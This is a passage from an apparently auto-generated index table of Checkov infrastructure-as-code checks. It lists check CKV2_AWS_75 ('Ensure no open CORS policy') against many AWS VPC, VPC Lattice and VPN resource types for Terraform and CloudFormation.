aws_verifiedpermissions_policy_store | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5282 | CKV2_AWS_75 | resource | aws_verifiedpermissions_policy_store | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5283 | CKV2_AWS_75 | resource | aws_verifiedpermissions_policy_template | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5284 | CKV2_AWS_75 | resource | aws_verifiedpermissions_policy_template | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5285 | CKV2_AWS_75 | resource | aws_verifiedpermissions_schema | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5286 | CKV2_AWS_75 | resource | aws_verifiedpermissions_schema | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5287 | CKV2_AWS_75 | resource | aws_volume_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5288 | CKV2_AWS_75 | resource | aws_volume_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5289 | CKV2_AWS_75 | resource | aws_vpc | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5290 | CKV2_AWS_75 | resource | aws_vpc | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5291 | CKV2_AWS_75 | resource | aws_vpc_block_public_access_exclusion | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5292 | CKV2_AWS_75 | resource | aws_vpc_block_public_access_exclusion | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5293 | CKV2_AWS_75 | resource | aws_vpc_block_public_access_options | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5294 | CKV2_AWS_75 | resource | aws_vpc_block_public_access_options | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5295 | CKV2_AWS_75 | resource | aws_vpc_dhcp_options | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5296 | CKV2_AWS_75 | resource | aws_vpc_dhcp_options | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5297 | CKV2_AWS_75 | resource | aws_vpc_dhcp_options_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5298 | CKV2_AWS_75 | resource | aws_vpc_dhcp_options_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5299 | CKV2_AWS_75 | resource | aws_vpc_endpoint | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5300 | CKV2_AWS_75 | resource | aws_vpc_endpoint | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5301 | CKV2_AWS_75 | resource | aws_vpc_endpoint_connection_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5302 | CKV2_AWS_75 | resource | aws_vpc_endpoint_connection_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5303 | CKV2_AWS_75 | resource | aws_vpc_endpoint_connection_notification | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5304 | CKV2_AWS_75 | resource | aws_vpc_endpoint_connection_notification | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5305 | CKV2_AWS_75 | resource | aws_vpc_endpoint_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5306 | CKV2_AWS_75 | resource | aws_vpc_endpoint_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5307 | CKV2_AWS_75 | resource | aws_vpc_endpoint_private_dns | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5308 | CKV2_AWS_75 | resource | aws_vpc_endpoint_private_dns | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5309 | CKV2_AWS_75 | resource | aws_vpc_endpoint_route_table_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5310 | CKV2_AWS_75 | resource | aws_vpc_endpoint_route_table_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5311 | CKV2_AWS_75 | resource | aws_vpc_endpoint_security_group_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5312 | CKV2_AWS_75 | resource | aws_vpc_endpoint_security_group_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5313 | CKV2_AWS_75 | resource | aws_vpc_endpoint_service | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5314 | CKV2_AWS_75 | resource | aws_vpc_endpoint_service | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5315 | CKV2_AWS_75 | resource | aws_vpc_endpoint_service_allowed_principal | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5316 | CKV2_AWS_75 | resource | aws_vpc_endpoint_service_allowed_principal | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5317 | CKV2_AWS_75 | resource | aws_vpc_endpoint_service_private_dns_verification | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5318 | CKV2_AWS_75 | resource | aws_vpc_endpoint_service_private_dns_verification | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5319 | CKV2_AWS_75 | resource | aws_vpc_endpoint_subnet_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5320 | CKV2_AWS_75 | resource | aws_vpc_endpoint_subnet_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5321 | CKV2_AWS_75 | resource | aws_vpc_ipam | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5322 | CKV2_AWS_75 | resource | aws_vpc_ipam | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5323 | CKV2_AWS_75 | resource | aws_vpc_ipam_organization_admin_account | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5324 | CKV2_AWS_75 | resource | aws_vpc_ipam_organization_admin_account | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5325 | CKV2_AWS_75 | resource | aws_vpc_ipam_pool | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5326 | CKV2_AWS_75 | resource | aws_vpc_ipam_pool | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5327 | CKV2_AWS_75 | resource | aws_vpc_ipam_pool_cidr | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5328 | CKV2_AWS_75 | resource | aws_vpc_ipam_pool_cidr | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5329 | CKV2_AWS_75 | resource | aws_vpc_ipam_pool_cidr_allocation | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5330 | CKV2_AWS_75 | resource | aws_vpc_ipam_pool_cidr_allocation | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5331 | CKV2_AWS_75 | resource | aws_vpc_ipam_preview_next_cidr | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5332 | CKV2_AWS_75 | resource | aws_vpc_ipam_preview_next_cidr | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5333 | CKV2_AWS_75 | resource | aws_vpc_ipam_resource_discovery | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5334 | CKV2_AWS_75 | resource | aws_vpc_ipam_resource_discovery | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5335 | CKV2_AWS_75 | resource | aws_vpc_ipam_resource_discovery_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5336 | CKV2_AWS_75 | resource | aws_vpc_ipam_resource_discovery_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5337 | CKV2_AWS_75 | resource | aws_vpc_ipam_scope | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5338 | CKV2_AWS_75 | resource | aws_vpc_ipam_scope | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5339 | CKV2_AWS_75 | resource | aws_vpc_ipv4_cidr_block_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5340 | CKV2_AWS_75 | resource | aws_vpc_ipv4_cidr_block_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5341 | CKV2_AWS_75 | resource | aws_vpc_ipv6_cidr_block_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5342 | CKV2_AWS_75 | resource | aws_vpc_ipv6_cidr_block_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5343 | CKV2_AWS_75 | resource | aws_vpc_network_performance_metric_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5344 | CKV2_AWS_75 | resource | aws_vpc_network_performance_metric_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5345 | CKV2_AWS_75 | resource | aws_vpc_peering_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5346 | CKV2_AWS_75 | resource | aws_vpc_peering_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5347 | CKV2_AWS_75 | resource | aws_vpc_peering_connection_accepter | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5348 | CKV2_AWS_75 | resource | aws_vpc_peering_connection_accepter | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5349 | CKV2_AWS_75 | resource | aws_vpc_peering_connection_options | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5350 | CKV2_AWS_75 | resource | aws_vpc_peering_connection_options | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5351 | CKV2_AWS_75 | resource | aws_vpc_security_group_egress_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5352 | CKV2_AWS_75 | resource | aws_vpc_security_group_egress_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5353 | CKV2_AWS_75 | resource | aws_vpc_security_group_ingress_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5354 | CKV2_AWS_75 | resource | aws_vpc_security_group_ingress_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5355 | CKV2_AWS_75 | resource | aws_vpc_security_group_vpc_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5356 | CKV2_AWS_75 | resource | aws_vpc_security_group_vpc_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5357 | CKV2_AWS_75 | resource | aws_vpclattice_access_log_subscription | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5358 | CKV2_AWS_75 | resource | aws_vpclattice_access_log_subscription | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5359 | CKV2_AWS_75 | resource | aws_vpclattice_auth_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5360 | CKV2_AWS_75 | resource | aws_vpclattice_auth_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5361 | CKV2_AWS_75 | resource | aws_vpclattice_listener | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5362 | CKV2_AWS_75 | resource | aws_vpclattice_listener | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5363 | CKV2_AWS_75 | resource | aws_vpclattice_listener_rule | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5364 | CKV2_AWS_75 | resource | aws_vpclattice_listener_rule | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5365 | CKV2_AWS_75 | resource | aws_vpclattice_resource_configuration | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5366 | CKV2_AWS_75 | resource | aws_vpclattice_resource_configuration | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5367 | CKV2_AWS_75 | resource | aws_vpclattice_resource_gateway | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5368 | CKV2_AWS_75 | resource | aws_vpclattice_resource_gateway | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5369 | CKV2_AWS_75 | resource | aws_vpclattice_resource_policy | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5370 | CKV2_AWS_75 | resource | aws_vpclattice_resource_policy | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5371 | CKV2_AWS_75 | resource | aws_vpclattice_service | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5372 | CKV2_AWS_75 | resource | aws_vpclattice_service | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5373 | CKV2_AWS_75 | resource | aws_vpclattice_service_network | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5374 | CKV2_AWS_75 | resource | aws_vpclattice_service_network | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5375 | CKV2_AWS_75 | resource | aws_vpclattice_service_network_resource_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5376 | CKV2_AWS_75 | resource | aws_vpclattice_service_network_resource_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5377 | CKV2_AWS_75 | resource | aws_vpclattice_service_network_service_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5378 | CKV2_AWS_75 | resource | aws_vpclattice_service_network_service_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5379 | CKV2_AWS_75 | resource | aws_vpclattice_service_network_vpc_association | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5380 | CKV2_AWS_75 | resource | aws_vpclattice_service_network_vpc_association | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5381 | CKV2_AWS_75 | resource | aws_vpclattice_target_group | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5382 | CKV2_AWS_75 | resource | aws_vpclattice_target_group | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5383 | CKV2_AWS_75 | resource | aws_vpclattice_target_group_attachment | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5384 | CKV2_AWS_75 | resource | aws_vpclattice_target_group_attachment | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5385 | CKV2_AWS_75 | resource | aws_vpn_connection | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5386 | CKV2_AWS_75 | resource | aws_vpn_connection | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5387 | CKV2_AWS_75 | resource | aws_vpn_connection_route | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5388 | CKV2_AWS_75 | resource | aws_vpn_connection_route | Ensure no open CORS policy | Cloudformation | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/cloudformation/checks/graph_checks/LambdaOpenCorsPolicy.yaml) | | 5389 | CKV2_AWS_75 | resource | aws_vpn_gateway | Ensure no open CORS policy | Terraform | [LambdaOpenCorsPolicy.yaml](https://github.com/bridgecrewio/checkov/blob/main/checkov/terraform/checks/graph_checks/aws/LambdaOpenCorsPolicy.yaml) | | 5390 | CKV2_AWS_75 | resource | 